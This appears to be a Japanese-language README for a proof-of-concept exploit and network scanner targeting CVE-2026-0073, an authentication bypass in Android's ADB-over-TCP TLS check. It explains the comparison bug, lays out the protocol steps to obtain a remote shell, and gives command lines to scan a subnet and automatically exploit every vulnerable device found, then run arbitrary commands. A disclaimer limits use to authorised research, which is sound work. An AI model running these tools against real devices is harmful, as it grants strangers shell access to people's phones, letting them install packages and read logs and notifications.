
CVE-2026-0073 の PoC ツール。Android 11 以降のデバイスを対象とし、adb over tcp が有効な未パッチのデバイスに対して、即座にゼロクリック RCE を可能にします。
CVE-2026-0073 の概念実証エクスプロイトおよびネットワークスキャナです。これは、Android の adbd における ADB-over-TCP 認証経路の、ゼロクリック・操作不要の重大なリモートコード実行脆弱性です。
この脆弱性は adbd_tls_verify_cert()(daemon/auth.cpp)における論理バグで、EVP_PKEY_cmp() がブール述語として扱われます。保存された RSA 鍵が非 RSA の TLS クライアント証明書(EC P-256 または Ed25519)と比較されると、API は -1(型不一致)を返しますが、これは C/C++ では 真 と評価されます。これにより、アルゴリズム間の不一致がホスト鍵の一致として扱われ、認証が完全にバイパスされます。
技術詳細は BARGHEST から取得。
基本 PoC コードは SecTestAnnaQuinn から取得。
Android セキュリティ情報 — 2026年5月 でパッチ適用済み。
| 属性 | 詳細 |
|---|---|
| 攻撃ベクトル | ネットワーク(隣接 / 近接) |
| 操作 | 不要(ゼロクリック) |
| 取得権限 | shell ユーザー(uid=2000)、SELinux u:r:shell:s0 |
| エクスプロイトプリミティブ | ADB 経由のリモートシェルアクセス |
| CVSS | 重大(9.8) |
shell コンテキストから、攻撃者はシステムプロパティ、プロセス状態、ログ、通知を調査し、パッケージのインストール・削除、デバッグ可能なアプリケーションに対する run-as の使用、および後続のエクスプロイトの準備を行うことができます。
| ファイル | 目的 |
|---|---|
adb_tls_auth_bypass.py | 単一ターゲット向けエクスプロイト PoC(SecTestAnnaQuinn によるオリジナル、チェックサム修正版) |
adbt_scanner.py | ネットワークスキャナ — 脆弱なデバイスの発見 + エクスプロイト |
requirements.txt | Python 依存関係 |
エクスプロイトを成功させるには、ターゲットの Android デバイスに以下が必要です:
adbd TCP サービス)/data/misc/adb/adb_keys に ペアリング済みの RSA ホスト鍵が少なくとも 1 つ# 仮想環境の作成
uv venv
# アクティベート
source .venv/bin/activate
# 依存関係のインストール
uv pip install -r requirements.txt
依存関係:
オプションパッケージが不足している場合、スキャナはグレースフルに動作を縮小します — 警告を表示し、代替手段(システムの ip コマンド、nmap、TCP 接続スキャン)にフォールバックします。
既知の脆弱なデバイスを直接攻撃します。
python3 adb_tls_auth_bypass.py 192.168.1.42 # 対話型シェル
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
またはスキャナ経由:
python3 adbt_scanner.py --host 192.168.1.42 # 対話型シェル
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
ローカルネットワークをスキャンして脆弱なデバイスを発見し、確認されたすべてのターゲットをエクスプロイトします。
# フルスキャン: mDNS → ARP → ポートスキャン → ADB プローブ → エクスプロイト
python3 adbt_scanner.py --scan
# すべての脆弱なデバイスで特定のコマンドを実行
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# 偵察のみ — 発見するがエクスプロイトしない
python3 adbt_scanner.py --scan --no-exploit
# 複数ポートをスキャン
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# 検出されたサブネットを上書き(マルチホームホスト、特定レンジ)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# 低速ネットワーク向けにタイムアウトを調整
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# mDNS リスンウィンドウを延長
python3 adbt_scanner.py --scan --mdns-timeout 60
# 特定の検出フェーズをスキップ
python3 adbt_scanner.py --scan --no-mdns # mDNS をスキップ、ARP のみ
python3 adbt_scanner.py --scan --no-arp # ARP をスキップ、mDNS のみ
--scan ネットワークをスキャンして脆弱なデバイスを発見 + エクスプロイト
--host HOST 単一ターゲットへの直接エクスプロイト
--port PORT --host モードの ADB ポート(デフォルト: 5555)
--cmd COMMAND 実行するシェルコマンド
-v, --verbose 詳細ログ
--mdns-timeout SECONDS mDNS リスン時間(デフォルト: 30)
--ports PORTS --scan モードのカンマ区切りポート(デフォルト: 5555)
--subnet CIDR 検出されたサブネットを上書き(例: 192.168.2.0/24)
--connect-timeout SECONDS TCP 接続タイムアウト(デフォルト: 2.0)
--probe-timeout SECONDS ADB プローブタイムアウト(デフォルト: 3.0)
--arp-timeout SECONDS ARP スイープタイムアウト(デフォルト: 3)
--no-mdns mDNS 検出をスキップ
--no-arp ARP スイープ + ポートスキャンをスキップ
--no-exploit ADB プロトコルプローブフェーズ後に停止
┌─────────────────────────────────────────────────────────────┐
│ 1. サブネット検出 — netifaces → ip route → socket トリック │
│ 2. mDNS リスナー — _adb-tls-connect._tcp(デフォルト 30 秒)│
│ 3. ARP スイープ — scapy.arping → nmap -sn │
│ 4. ポートスキャン — 各ホスト:ポートへの TCP 接続 │
│ 5. ADB プロトコルプローブ — CNXN を送信、応答を分類 │
│ │
│ STLS → 脆弱(エクスプロイトに進む) │
│ AUTH → レガシー ADB 認証(この CVE の対象外) │
│ CNXN → オープン、認証なし(すでにアクセス可能) │
│ NO_ADB → ADB サービスではない │
│ │
│ 6. エクスプロイト — TLS アップグレード → 認証バイパス → シェル │
└─────────────────────────────────────────────────────────────┘
mDNS が最も正確な識別方法です:ワイヤレスデバッグがペアリングされると、Android は _adb-tls-connect._tcp を明示的にブロードキャストします。ARP スイープ + ポートスキャンは、包括的なフォールバックとして機能します。
フェーズ 1 — クリアテキスト ADB
クライアント → CNXN(payload="host::features=...")
デバイス → STLS (TLS へのアップグレードが必要)
フェーズ 2 — クロスアルゴリズムクライアント証明書による TLS 1.3
クライアント → STLS 応答
クライアント → TLS 1.3 ハンドシェイク + EC P-256 クライアント証明書
デバイスが adbd_tls_verify_cert() を呼び出し:
known_evp = /data/misc/adb/adb_keys の RSA 鍵
evp_pkey = クライアント証明書の EC P-256 鍵
EVP_PKEY_cmp(known_evp, evp_pkey) → -1(型不一致)
if (-1) → verified = true ← バグ: -1 は真
フェーズ 3 — TLS 後の ADB サービスレイヤー
クライアントがデバイスの CNXN をドレイン(トランスポートはすでにオンライン)
ホスト CNXN は送信しない(handle_new_connection キックを誘発するため)
クライアント → OPEN(local_id, window=32MB, payload="shell:\x00")
デバイス → OKAY → シェルストリーム確立
shell(uid=2000)コンテキストを提供します。カーネル侵害、root アクセス、ハードウェアバックアップキーストア鍵には追加の権限昇格が必要です。/data/misc/adb/adb_keys に少なくとも 1 つの RSA ホスト鍵が必要です。ワイヤレスデバッグが有効でも 一度もペアリングされていない リセット直後のデバイスは脆弱ではありません。STLS ではなく AUTH で応答し、この CVE の影響を受けません。EVP_PKEY_cmp チェックを厳密な == 1 の戻り値を要求するように変更する修正が含まれています。本ソフトウェアは 教育および許可されたセキュリティ研究目的のみ で提供されます。このリポジトリのツールとコードは、セキュリティ専門家、研究者、デバイス所有者が以下を行うことを目的としています:
本ソフトウェアを以下の目的で使用してはなりません:
コンピュータシステムへの不正アクセスはほとんどの法域で違法であり、刑事罰および民事罰が科せられる可能性があります。著者および貢献者は、本ソフトウェアの使用から生じる誤用、損害、または法的結果について 一切の責任を負いません。
責任を持って使用してください。ターゲットを把握してください。許可を取得してください。
CC0 1.0 Universal — 権利を留保しません。
法律で認められる範囲で、著者はこの作品に対するすべての著作権および関連する隣接権を放棄しています。
| パッケージ | 使用箇所 | 必須? |
|---|
cryptography | 両スクリプト(EC 証明書生成、TLS) | 必須 |
netifaces | スキャナ(サブネット検出) | 推奨 |
zeroconf | スキャナ(mDNS 検出) | 推奨 |
scapy | スキャナ(ARP スイープ) | 推奨 |